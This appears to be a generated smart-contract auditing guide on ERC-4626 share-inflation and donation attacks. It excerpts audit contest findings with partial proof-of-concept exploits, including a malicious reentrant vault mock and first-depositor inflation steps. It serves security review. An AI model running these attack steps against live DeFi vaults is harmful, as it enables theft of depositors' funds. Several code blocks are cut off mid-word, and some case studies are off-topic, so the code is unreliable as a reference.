ERC-4626 Vault Share Inflation & First-Deposit Donation Attacks
Overview & Empirical Grounding
This security auditing skill is synthesized from 118 empirical audit contest findings (16 Critical, 102 High severity) extracted from the Zaevlad/audit-findings-dataset corpus.
Auditors and security reviewers must use this methodology when reviewing smart contracts that exhibit DeFi Vaults & Accounting patterns.
Key Trigger Keywords
erc4626, vault inflation, first depositor, share inflation, donation attack, virtual shares, dead shares, shares to assets
Threat Model & Core Attack Vectors
Detailed failure modes identified across empirical audit findings:
- Unchecked Assumptions & Protocol State Discrepancy: Deviations between internal accounting state and actual balances/external conditions.
- Missing Boundary Checks & Validation: Failing to constrain user inputs, return values, or stale external data feeds.
- Execution Ordering & Invariant Breakage: Invariants momentarily violated during external calls or intermediary calculations.
- Economic & MEV Incentives: Opportunities for adversaries to extract value through arbitrage, flash loans, or sandwiching.
Step-by-Step Audit Checklist
When reviewing contracts in this domain, follow this rigorous step-by-step verification pipeline:
1. Architectural & Entry Point Reconnaissance
- Map all external and public entry points that interact with the vulnerable component.
- Verify access control modifiers (
onlyOwner,onlyRole, custom guards) and ensure roles are initialized in constructor/initializer. - Trace all token balance state changes and external contract interactions.
2. Deep Invariant & Boundary Verification
- Input Validation: Check zero-address (
address(0)), zero-amount, array length parity, and upper/lower bounds. - State Transition Sequencing: Verify Checks-Effects-Interactions (CEI) order. All storage updates must precede external invocations.
- External Return Handling: Check return values for external ERC-20 transfers, oracle queries, and delegatecalls.
- Failure Paths & DoS Hazards: Ensure reverts in third-party calls do not lock protocol funds or halt liquidation/withdrawal queues.
3. Proof of Concept (PoC) Development Guide
When drafting a reproducible exploit in Foundry (forge test):
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "forge-std/Test.sol";
contract AuditPoCTest is Test {
// Setup target protocol and mock dependencies
function setUp() public {
// Fork mainnet or deploy local environment
}
function test_exploit_vector() public {
// 1. Establish initial attacker balance
// 2. Trigger vulnerability
// 3. Assert invariant violation or balance drain
}
}
Empirical Case Studies from Zaevlad/audit-findings-dataset
The following real-world contest findings illustrate the root causes and remediation patterns:
Case Study: Pools configured with a malicious hook can bypass the BunniHub re-entrancy guard to drain all raw balances and vault reserves of legitimate pools
- Severity: High (Dataset Weight: 1.00, ID: #25)
- Vulnerability Mechanism:
** The
BunniHubis the main contract that both holds and accounts the raw balances and vault reserves that each pool has deposited. It inheritsReentrancyGuardwhich implements thenonReentrantmodifier:
modifier nonReentrant() {
_nonReentrantBefore();
_;
_nonReentrantAfter();
}
function _nonReentrantBefore() internal {
uint256 statusSlot = STATUS_SLOT;
uint256 status;
/// @solidity memory-safe-assembly
assembly {
status := tload(statusSlot)
}
if (status == ENTERED) revert ReentrancyGuard__ReentrantCall();
uint256 entered = ENTERED;
/// @solidity memory-safe-assembly
assembly {
tstore(statusSlot, entered)
}
}
function _nonReentrantAfter() internal {
uint256 statusSlot = STATUS_SLOT;
uint256 notEntered = NOT_ENTERED;
/// @solidity memory-safe-assembly
assembly {
tstore(statusSlot, notEntered)
}
}
During the rebalance of a Bunni pool, it is intended to separate this re-entrancy logic into before/after hooks. These functions re-use the same global re-entrancy guard transient storage slot to lock the BunniHub against any potential re-entrant execution by a malic
Proof of Concept / Vulnerable Pattern
** To run the following PoCs:
* Add the following malicious vault implementation inside `test/mocks/ERC4626Mock.sol`:
```solidity
interface MaliciousHook {
function continueAttackFromMaliciousVault() external;
}
contract MaliciousERC4626 is ERC4626 {
address internal immutable _asset;
MaliciousHook internal immutable maliciousHook;
bool internal attackStarted;
constructor(IERC20 asset_, address _maliciousHook) {
_asset = address(asset_);
maliciousHook = MaliciousHook(_maliciousHook);
}
function asset() public view override returns (address) {
return _asset;
}
function name() public pure override returns (string memory) {
return "MockERC4626";
}
function symbol() public pure override returns (string memory) {
return "MOCK-ERC4626";
}
function setupAttack() external {
attackStarted = true;
}
function previewRedeem(uint256 shares) public view override returns (uint256 assets) {
return type(uint128).max;
}
function withdraw(uint256 assets, address to, address owner) public override returns(uint256 shares){
if(attackStarted) {
malicious
- Remediation Recommendation:
** The root cause of the attack was the ability to disable the intended global re-entrancy protection by invoking
unlockForRebalance()which was subsequently disabled. One solution would be to implement the rebalance re-entrancy protection on a per-pool basis such that one pool cannot manipulate the re-entrancy guard transient storage state of another. Additionally, allowing Bunni pools to be deployed with any arbitrary hook implementation greatly increases the attack surface. It is instead recommended to minimise this by constraining the hook to be the canonicalBunniHookimplementation such that it is not possible to call suchBunniHubfunctions directly.
Case Study: First depositor can break minting of shares
- Severity: High (Dataset Weight: 1.00, ID: #7382)
- Vulnerability Mechanism: The attack vector and impact is the same as TOB-YEARN-003, where users may not receive shares in exchange for their deposits if the total asset amount has been manipulated through a large “donation”.
Proof of Concept / Vulnerable Pattern
In `BathToken.sol:569-571`, the allocation of shares is calculated as follows:
```solidity
(totalSupply == 0) ? shares = assets : shares = (
assets.mul(totalSupply)
).div(_pool);
An early attacker can exploit this by:
Attacker calls
openBathTokenSpawnAndSignal()withinitialLiquidityNew = 1, creating a new bath token withtotalSupply = 1Attacker transfers a large amount of underlying tokens to the bath token contract, such as
1000000Using
deposit(), a victim deposits an amount less than1000000, such as1000:assets = 1000(assets * totalSupply) / _pool = (1000 * 1) / 1000000 = 0.001, which would round down to0- Thus, the victim receives no shares in return for his deposit
To avoid minting 0 shares, subsequent depositors have to deposit equal to or more than the amount transferred by the attacker. Otherwise, their deposits accrue to the attacker who holds the only share.
it("Victim receives 0 shares", async () => {
// 1. Attacker deposits 1 testCoin first when creating the liquidity pool
const initialLiquidityNew = 1;
const initialLiquidityExistingBathToken = ethers.utils.parseUnits("100", decimals);
- Remediation Recommendation:
- Uniswap V2 solved this problem by sending the first 1000 LP tokens to the zero address. The same can be done in this case i.e. when
totalSupply() == 0, send the first min liquidity LP tokens to the zero address to enable share dilution.- In
_deposit(), ensure the number of shares to be minted is non-zero:
- In
require(shares != 0, "No shares minted");
Great issue, what do y’all think of this code snippet as a solution:
/// @notice Deposit assets for the user and mint Bath Token shares to receiver
function _deposit(uint256 assets, address receiver) internal returns (uint256 shares) {
uint256 _pool = underlyingBalance();
uint256 _before = underlyingToken.balanceO
---
### Case Study: Incorrect calculation in CreditDelegationBranch::withdrawUsdTokenFromMarket allows attacker mint any amount of usdz
- **Severity**: High (Dataset Weight: 1.00, ID: #11383)
- **Vulnerability Mechanism**:
Market::getCreditCapacityUsd function located in CreditDelegationBranch::withdrawUsdTokenFromMarket, which incorrectly calculates the credit capacity of a market by adding the total debt to the delegated credit instead of subtracting it. This flaw leads to an overestimation of the market's credit capacity, potentially allowing the system to operate in an unsafe state where it cannot cover its liabilities. This issue is particularly severe because it affects the core logic of credit delegation and debt management in the protocol and allows an attacker to mint an amount of usdz that the protocol cannot back 1:1 with usdc which breaks a key protocol invariant.
CreditDelegationBranch::withdrawUsdTokenFromMarket contains the following code:
```solidity
/// @notice Mints the requested amount of USD Token to the caller and updates the market's
/// debt state.
/// @dev Called by a registered engine to mint USD Token to profitable traders.
/// @dev USD Token association with an engine's user happens at the engine contract level.
/// @dev We assume amount is part of the market's reported unrealized debt.
/// @dev Invariants:
/// The Market of marketId MUST exist.
#### Proof of Concept / Vulnerable Pattern
```solidity
```solidity
function test_creditcapacitywrongcalculation(
uint256 marketId,
uint256 amount,
uint256 amounttodepositcredit,
uint128 vaultId,
uint64 anyamount
)
external
{
amounttodepositcredit = bound({ x: amount, min: 1, max: type(uint32).max });
PerpMarketCreditConfig memory fuzzMarketConfig = getFuzzPerpMarketCreditConfig(marketId);
vaultId = uint128(bound(vaultId, INITIALVAULTID, FINALVAULTID));
VaultConfig memory fuzzVaultConfig = getFuzzVaultConfig(vaultId);
vm.assume(fuzzVaultConfig.asset != address(usdc));
deal({ token: address(fuzzVaultConfig.asset), to: address(fuzzMarketConfig.engine), give: amounttodepositcredit*10 });
changePrank({ msgSender: address(fuzzMarketConfig.engine) });
// first user deposits credit into the market
marketMakingEngine.depositCreditForMarket(fuzzMarketConfig.marketId, fuzzVaultConfig.asset, amounttodepositcredit);
uint256 mmBalance = IERC20(fuzzVaultConfig.asset).balanceOf(address(marketMakingEngine));
uint128 depositFee = uint128(vaultsConfig[fuzzVaultConfig.vaultId].depositFee);
_setDepo
- Remediation Recommendation:
/// @notice Returns a market's credit capacity in USD based on its delegated credit and total debt.
/// @param delegatedCreditUsdX18 The market's credit delegated by vaults in USD.
/// @param totalDebtUsdX18 The market's unrealized + realized debt in USD.
/// @return creditCapacityUsdX18 The market's credit capacity in USD.
function getCreditCapacityUsd(
UD60x18 delegatedCreditUsdX18,
SD59x18 totalDebtUsdX18
)
internal
pure
returns (SD59x18 creditCapacityUsdX18)
{
creditCapacityUsdX18 = delegatedCreditUsdX18.intoSD59x18().sub(totalDebtUsdX18);
}
Case Study: Inflation of ggAVAX share price by first depositor
- Severity: High (Dataset Weight: 0.97, ID: #17256)
- Vulnerability Mechanism:
Inflation of
ggAVAXshare price can be done by depositing as soon as the vault is created.
Impact:
- Early depositor will be able steal other depositors funds
- Exchange rate is inflated. As a result depositors are not able to deposit small funds.
function convertToShares(uint256 assets) public view virtual returns (uint256) {
uint256 supply = totalSupply; // Saves an extra SLOAD if totalSupply is non-zero.
return supply == 0 ? assets : assets.mulDivDown(supply, totalAssets());
}
Its important to note that while it is true that cycle length is 14 days, in practice time between cycles can very between 0-14 days. This is because syncRewards validates that the next reward cycle is evenly divided by the length (14 days).
function syncRewards() public {
----------
// Ensure nextRewardsCycleEnd will be evenly divisible by `rewardsCycleLength`.
uint32 nextRewardsCycleEnd = ((timestamp + rewardsCycleLength) / rewardsCycleLength) * rewardsCycleLength;
---------
}
Therefore:
- The closer the call to
syncRewardsis to the next evenly divisible value ofrewardsCycleLength, the closer the nextrewardsCycleEndwill be. - The close
Proof of Concept / Vulnerable Pattern
If `ggAVAX` is not seeded as soon as it is created, a malicious depositor can deposit 1 WEI of AVAX to receive 1 share.
The depositor can donate WAVAX to the vault and call `syncRewards`. This will start inflating the price.
When the attacker front-runs the creation of the vault, the attacker:
1. Calls `depositAVAX` to receive 1 share
2. Transfers `WAVAX` to `ggAVAX`
3. Calls `syncRewards` to inflate exchange rate
The issue exists because the exchange rate is calculated as the ratio between the `totalSupply` of shares and the `totalAssets()`.
When the attacker transfers `WAVAX` and calls `syncRewards()`, the `totalAssets()` increases gradually and therefore the exchange rate also increases.
Add the following test to `TokenggAVAX.t.sol`: <https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/test/unit/TokenggAVAX.t.sol#L108>
```solidity
function testShareInflation() public {
uint256 depositAmount = 1;
uint256 aliceDeposit = 2000 ether;
uint256 donationAmount = 1000 ether;
vm.deal(bob, donationAmount + depositAmount);
vm.deal(alice, aliceDeposit);
vm.warp(1672876799);
// create new ggAVAX
ggAVAXImpl
- Remediation Recommendation: When creating the vault add initial funds in order to make it harder to inflate the price. Best practice would add initial funds as part of the initialization of the contract (to prevent front-running).
The Warden has shown how, by performing a small deposit, followed by a transfer, shares can be rebased, causing a grief in the best case, and complete fund loss in the worst case for every subsequent depositor.
While the finding is fairly known, it’s impact should not be understated, and because of this I agree with High Severity.
I recommend watching this presentation by Riley Holterhus which shows possible mitigations for the attack: https://youtu.be/_pO2jDgL0XE?t=601
Initialize ggAVAX with a deposit: multisig-labs/gogopool#49
Case Study: Incorrect accounting bug of the yDUSD vault leads to total loss of depositors’ DUSD assets
- Severity: High (Dataset Weight: 0.97, ID: #21683)
- Vulnerability Mechanism:
The current implementation of the
yDUSDvault does not properly support the auto-compounding token rewards mechanism by directly minting theDUSDassets to the vault.
Due to an incorrect accounting bug of the vault’s total supply (shares), depositors can lose some deposited DUSD assets (principal) or even all the assets when the Ditto protocol mints DUSD debts to the vault to account for any discounts.
When the match price is below the oracle price, the OrdersFacet::_matchIsDiscounted() will be invoked to account for a discount by minting the discount (newDebt) (@1 in the snippet below) to the yDUSD vault.
Assuming the yDUSD vault is empty (i.e., both totalAssets and totalSupply are 0), for simplicity’s sake. This step will increase the vault’s total DUSD assets (totalAssets — spot balance) without updating the vault’s total supply (totalSupply — tracked shares).
function _matchIsDiscounted(MTypes.HandleDiscount memory h) external onlyDiamond {
...
if (pctOfDiscountedDebt > C.DISCOUNT_THRESHOLD &
#### Proof of Concept / Vulnerable Pattern
```solidity
This section provides a coded PoC.
Place the `test_PoC_yDUSD_Yault_totalSupply_IncorrectInternalAccounting()` in the `.test/YDUSD.t.sol` file and run the test using the command: `forge test -vv --mt test_PoC_yDUSD_Yault_totalSupply_IncorrectInternalAccounting`.
The PoC shows that a user loses all `DUSD` assets (both principal and yield) when he deposits the assets into the `yDUSD` vault right after the protocol has minted debts to the vault.
```solidity
function test_PoC_yDUSD_Yault_totalSupply_IncorrectInternalAccounting() public {
// Create discounts to generate newDebt
uint88 newDebt = uint88(discountSetUp());
assertEq(rebasingToken.totalAssets(), newDebt);
assertEq(rebasingToken.totalSupply(), 0);
assertEq(rebasingToken.balanceOf(receiver), 0);
assertEq(rebasingToken.balanceOf(_diamond), 0);
assertEq(rebasingToken.balanceOf(_yDUSD), 0);
assertEq(token.balanceOf(_yDUSD), newDebt);
// Receiver deposits DUSD into the vault to get yDUSD
vm.prank(receiver);
rebasingToken.deposit(DEFAULT_AMOUNT, receiver);
assertEq(rebasingToken.totalAssets(), DEFAULT_AMOUNT + newDebt);
assertEq(rebasingToken.totalSupply(), 0); // 0 amoun
- Remediation Recommendation:
Rework the
yDUSDvault by applying the concept of a single-sided auto-compounding token rewards mechanism of the xERC4626, which is fully compatible with theERC4626and ultimately maintains balances using internal accounting to prevent instantaneous changes in the exchange rate.
Note: seeoriginal submission for full discussion.
Case Study: Market-vault disconnection will bring permanent inconsistent state
- Severity: High (Dataset Weight: 0.97, ID: #11374)
- Vulnerability Mechanism: In the protocol, for the most of the time, market and vault's state vars are updated by deltas, not by direct updation. This delta-change operation does not work well when market and vault connection is changed. It doesn't recognize delta by broken connection. As a result, when a vault is unlinked from a market, market's delegated credit usd will remain the same. Vault's state vars (marketRealizedDebtUsd etc) won't reflect broken connection, either.
Root Cause
Market and vault's connection is updated by MarketMakingEngineConfigurationBranch.connectVaultAndMarkets.
The owner can add or remove vaults and markets connection by calling this external function.
After connections are updated, vaults and markets state vars will be updated by Vault.recalculateVaultsCreditCapacity. This function logic is very complicated but can be summarized as the following:
Update weights for all credit delegations for connected markets
Calculate deltas of realizedDebtChange, unrealizedDebtChange, usdcCreditChange, wethRewardChange between vault and connected markets
Update vault's states by deltas calculated above
For all connected markets, do the following:
Calculate creditDelegation delt
Proof of Concept / Vulnerable Pattern
The following POC demonstrates the following scenario:
Market 1 was connected to Vaults 1, 2
Market's totalDelegatedCreditUsd is 1600 and creditCapacityUsd is 1680
Market 1 is connected to Vault 1. Vault 2 has been disconnected from the market
Recalculate market's credit deposits
Market's updated totalDelegatedCreditUsd is still 1600 and creditCapacityUsd still remains 1680
```solidity
pragma solidity 0.8.25;
import { CreditDelegationBranch } from "@zaros/market-making/branches/CreditDelegationBranch.sol";
import { VaultRouterBranch } from "@zaros/market-making/branches/VaultRouterBranch.sol";
import { MarketMakingEngineConfigurationBranch } from
"@zaros/market-making/branches/MarketMakingEngineConfigurationBranch.sol";
import { Vault } from "@zaros/market-making/leaves/Vault.sol";
import { Market } from "@zaros/market-making/leaves/Market.sol";
import { CreditDelegation } from "@zaros/market-making/leaves/CreditDelegation.sol";
import { MarketMakingEngineConfiguration } from "@zaros/market-making/leaves/MarketMakingEngineConfiguration.sol";
import { LiveMarkets } from "@zaros/market-making/leaves/LiveMarkets.sol";
import { Collateral } from "@zaros/market-making/le
- Remediation Recommendation: Connection updating logic and Vault.recalculateVaultsCreditCapacity should be changed to handle disconnection scenario.
Remediation & Hardening Principles
- Fail-Safe Defaults: Always favor reverting rather than proceeding with invalid or unexpected state.
- Defensive Type Safety: Use OpenZeppelin's vetted libraries (
SafeERC20,ReentrancyGuardUpgradeable,SafeCast,Math). - Two-Step Critical Actions: Enforce commit-reveal or timelock mechanisms for governance and high-impact parameter changes.
- Comprehensive Testing Matrix: Pair unit tests with property-based invariant testing (Foundry
invariantor Echidna) and mutation testing.